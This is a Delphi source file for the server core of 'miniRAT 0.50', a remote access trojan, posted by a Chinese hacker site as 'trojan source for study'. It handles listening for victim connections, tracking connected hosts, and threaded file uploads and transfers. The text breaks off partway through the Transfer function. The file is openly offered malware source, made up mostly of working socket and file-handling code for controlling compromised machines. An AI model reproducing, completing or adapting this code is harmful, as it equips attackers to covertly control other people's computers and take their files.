untservercore.pas

木马源程序,供大家研究

{南域剑盟    www.98exe.com   上兴QQ:51992
 声明：程序由南域剑盟98exe.com成员网上搜集，不承担技术及版权问题}
unit untServerCore;

// This is the core for the miniRAT listen section.
// Here we receive all data/connection from remote hosts.

interface

uses
  Windows,  Sysutils,  Winsock,  ComCtrls,  untCMDList,SysUtils2;

const
  dVersion = 'miniRAT 0.50 [BETA]';

  ERROR_DISCONNECT      = 01;    // If server (remote connection disconnects)
  ERROR_FAIL            = 02;    // If server or client fails. Socket failures.
  ERROR_CONNECT         = 03;    // If client cant connect to server or reverse.
  ERROR_LISTEN          = 04;    // If server cant listen on choosen port.
  ERROR_ACCEPT          = 05;    // If server cant accept socket.
  ERROR_BREAK           = 06;    // If breaking from something.
  ERROR_LOSTCONNECTION  = 07;    // If server dies of some reason.
  ERROR_BIND            = 08;

  SUCCESS_CONNECT       = 09;    // Connection established without problems.
  SUCCESS_FINISHED      = 10;    // Finished sending file without problems.
  SUCCESS_ACCEPT        = 11;    // Accepted remote connection fine.

type
  RemoteSock = Record
    Sock: TSocket;
    Count: Integer;
  End;
  rSock = ^RemoteSock;

  TTransferInfo = Record
    Port        :Integer;
    Size        :Integer;
    Filename    :String;
    RemoteIP    :String;
    RemotePort  :String;
    Upload      :Boolean;
  End;
  PTransferInfo = ^TTransferInfo;

  TServer = Class(TObject)
  Private
    WSA         :TWSAData;

    TempSock    :TSocket;
    Sock        :TSocket;
    Addr        :TSockAddrIn;
    Remote      :TSockAddr;

    Len         :Integer;

    BlockList   :Array[0..99] Of String;
  Public
    SocketList  :Array[0..99] Of TSocket;
    Port        :Integer;
    Count       :Integer;
    ReturnError :Integer;

    Function Listen: Integer;
    Function AcceptNew(SSock: TSocket): Integer;
    Function GetFreeHandle(VAR Int: Integer): Integer;
    Function ReCount: Integer;
    Function Disconnect(dAddress, dPort: String): Boolean;
    Procedure ResolveStatus(Int: Integer);

    procedure Connect(Host,password:string;Port :integer);  //主动连接
  End;

var
  TransferInfo: TTransferInfo;
  rSocket: RemoteSock;
  Close:Boolean;
  Password: String;
  HandleList: Array[0..99] Of THandle;
  TransferList: Array[0..99] Of THandle;

  Function GetTransfer: Integer;
  Function RemotePort(Sock: TSocket): String;
  Function RemoteAddress(Sock: TSocket): String;
  Function RemoteAddr(Sock: TSocket): TSockAddrIn;
  Function RemoveUser(dAddress, dPort: String): Boolean;
  Function UpdateUser(dAddress, dPort, dVersion, dConnection, dSpeed, dName: String): Boolean;
  Function AddUser(dAddress, dPort, dVersion, dConnection, dSpeed, dSock: String): Boolean;
  Function SendData(Sock: TSocket; Text: String; VAR sByte: Cardinal): Integer;
  Function GetPath: String;
  Function GetKBS(dByte: Integer): String;

  Function AddTransfer(dAddress, dPort, dSpeed, dFilename, dUpload, Status, dSize: String): Boolean;
  Function UpdateTransfer(dAddress, dPort, dSpeed, Status, dTimeLeft, dSize: String): Boolean;
  Function RemoveTransfer(dAddress, dPort: String): Boolean;

implementation

Uses
  untClient, untTransferView;



Function CalculatePercent(dProgress, dTotal: Integer): String;
Var
  R     :Real;
  S     :Real;
  C     :Integer;

  Function RToInt(E: Real): Integer;
  Var
    S: String;
  Begin
    S := Format('%N', [E]);
    If (Pos('.', S) > 0) Then
      S := Copy(S, 1, Pos('.', S) - 1);
    While Pos(',', S) > 0 Do
      Delete(S, Pos(',', S), 1);
    While Pos(' ', S) > 0 Do
      Delete(S, Pos(' ', S), 1);
    While Pos(#160, S) > 0 Do
      Delete(S, Pos(#160, S), 1);
    Result := StrToInt(S);
  End;

Begin
  If (dTotal = 0) Then Exit;
  C := 0;
  R := dTotal / 100;
  S := 0;
  While RToInt(S) < dProgress Do
  Begin
    S := S + R;
    Inc(C);
  End;
  Result := IntToStr(C) + '%';
End;

Function GetKBS(dByte: Integer): String;
Var
  dB    :Integer;
  dKB   :Integer;
  dMB   :Integer;
  dGB   :Integer;
  dT    :Integer;
Begin
  dB := dByte;
  dKB := 0;
  dMB := 0;
  dGB := 0;
  dT  := 1;

  While (dB > 1024) Do
  Begin
    Inc(dKB, 1);
    Dec(dB , 1024);
    dT := 1;
  End;

  While (dKB > 1024) Do
  Begin
    Inc(dMB, 1);
    Dec(dKB, 1024);
    dT := 2;
  End;

  While (dMB > 1024) Do
  Begin
    Inc(dGB, 1);
    Dec(dMB, 1024);
    dT := 3;
  End;

  Case dT Of
    1: Result := IntToStr(dKB) + '.' + Copy(IntToStr(dB ),1,2) + ' kb';
    2: Result := IntToStr(dMB) + '.' + Copy(IntToStr(dKB),1,2) + ' mb';
    3: Result := IntToStr(dGB) + '.' + Copy(IntToStr(dMB),1,2) + ' gb';
  End;
End;

Function GetTimeLeft(Speed, Total: Integer): String;
Var
  dDay  :Integer;
  dHour :Integer;
  dMin  :Integer;
  dSec  :Integer;
  dTmp  :Integer;
  dTmp2 :Integer;
Begin
  If Speed = 0 Then Exit;
  If Total = 0 Then Exit;

  dDay := 0; dHour := 0; dMin := 0;
  dTmp2 := 0; dTmp := 0;

  While dTmp2 <= Total Do
  Begin
    Inc(dTmp2, Speed);
    Inc(dTmp, 1);
  End;

  dSec := dTmp;

  If dSec > 60 Then
    repeat
      dec(dSec, 60);
      inc(dMin, 1);
    until dSec < 60;

  If dMin > 60 Then
    repeat
      dec(dMin, 60);
      inc(dHour, 1);
    until dMin < 60;

  If dHour > 24 Then
    repeat
      dec(dHour, 24);
      inc(dDay, 1);
    until dHour < 24;

  Result := IntToStr(dDay)  + 'd '+
            IntToStr(dHour) + 'h '+
            IntToStr(dMin)  + 'm '+
            IntToStr(dSec)  + 's';
End;


Function GetPath: String;
Begin
  Result := ExtractFilePath(ParamStr(0)) + 'Downloads\';
  If (Not DirectoryExists(Result)) Then
    CreateDirectory(pChar(Result), NIL);
End;

Function Upload(P: Pointer): DWord; STDCALL;
Var
  FileSize      :Integer;
  FilePort      :String;
  FileName      :String;
  RemoteIP      :String;
  RemotePort    :String;
  Upload        :Boolean;

  Sock          :TSocket;
  Rem           :TSockAddr;
  Addr          :TSockAddrIn;
  WSA           :TWSAData;
  Len           :Integer;

  F             :THandle;
  BytesRead     :Cardinal;
  BytesSize     :Cardinal;

  rFile         :Array[0..8192] Of Char;

  Start         :Integer;
  Total         :Integer;
  Speed         :Integer;
  dErr          :Integer;
Label
  Startup,
  Connection,
  Connected,
  Disconnected,
  Finished;
Begin
  FilePort      := IntToStr(PTransferInfo(P)^.Port);
  FileSize      := PTransferInfo(P)^.Size;
  FileName      := PTransferInfo(P)^.Filename;
  RemoteIP      := PTransferInfo(P)^.RemoteIP;
  RemotePort    := PTransferInfo(P)^.RemotePort;
  Upload        := PTransferInfo(P)^.Upload;

  // Startup stage --
StartUP:
  AddTransfer(RemoteIP, FilePort, '0.00 kbs', FileName, IntToStr(Integer(Upload)), 'Connecting', IntToStr(FileSize));

  WSAStartUp($0101, WSA);
  Sock := Socket(AF_INET, SOCK_STREAM, 0);
  Addr.sin_family := AF_INET;
  Addr.sin_port := hTons(StrToInt(FilePort));
  Addr.sin_addr.S_addr := INADDR_ANY;

  // Connection stage --
Connection:
  If (Bind(Sock, Addr, SizeOf(Addr)) <> 0) Then Goto Disconnected;
  If (Listen(Sock, SOMAXCONN) <> 0) Then Goto Disconnected;

  Len := SizeOf(Rem);
  Sock := Accept(Sock, @Rem, @Len);
  If (Sock = INVALID_SOCKET) Then Goto Disconnected;

  // Connected stage --
Connected:
  UpdateTransfer(RemoteIP, FilePort, '0.00 kbs', 'Connected', '00:00:00', '');

  F := CreateFile(pChar(FileName), GENERIC_READ, FILE_SHARE_READ, NIL, OPEN_EXISTING, 0, 0);
  BytesSize := 0;
  SetFilePointer(F, 0, NIL, FILE_BEGIN);

  If (BytesSize < FileSize) Then
  Begin
    Start := GetTickCount;
    Total := 1;

    Repeat
      FillChar(rFile, SizeOf(rFile), 0);
      ReadFile(F, rFile, SizeOf(rFile), BytesRead, NIL);
      dErr := Send(Sock, rFile, BytesRead, 0);

      If dErr = -1 Then Break;
      Inc(Total, dErr);

      Speed := Total DIV (((GetTickCount() - Start) DIV 1000) + 1);
      UpdateTransfer(RemoteIP, FilePort, GetKBS(Speed)+'/s (' + CalculatePercent(Total, FileSize) + ')', 'Uploading', GetTimeLeft(Speed, FileSize-Total), GetKbs(Total)+' of '+GetKbs(FileSize));
      Recv(Sock, rFile, SizeOf(rFile), 0);
    Until (Total >= FileSize);
    Goto Finished;
  End Else
    Goto Finished;

  // Disconnected stage --
Disconnected:

  UpdateTransfer(RemoteIP, FilePort, '0.00 kbs', 'Failed, Disconnected', '00:00:00', '');
  Sleep(1000);
  Goto Finished;

  // Finished stage --
Finished:
  CloseHandle(F);
  WSACleanUP;

  UpdateTransfer(RemoteIP, FilePort, '0.00 kbs', 'Finished', '00:00:00', '');
  Sleep(1000);
  RemoveTransfer(RemoteIP, FilePort);
End;

Function Transfer(P: Pointer): DWord; STDCALL;
Var
  FileSize      :Integer;
  FilePort      :String;
  FileName      :String;
  RemoteIP      :String;
  RemotePort    :String;
  Upload        :Boolean;

  Sock          :TSocket;
  Rem           :TSockAddr;
  Addr          :TSockAddrIn;
  WSA           :TWSAData;
  Len           :Integer;

  F             :THandle;
  BytesWritten  :Cardinal;
  BytesSize     :Cardinal;

  rFile         :Array[0..8192] Of Char;

  Start         :Integer;
  Total         :Integer;
  Speed         :Integer;
  dErr          :Integer;

  T             :String;
Label
  Startup,
  Connection,
  Connected,
  Disconnected,
  Finished;
Begin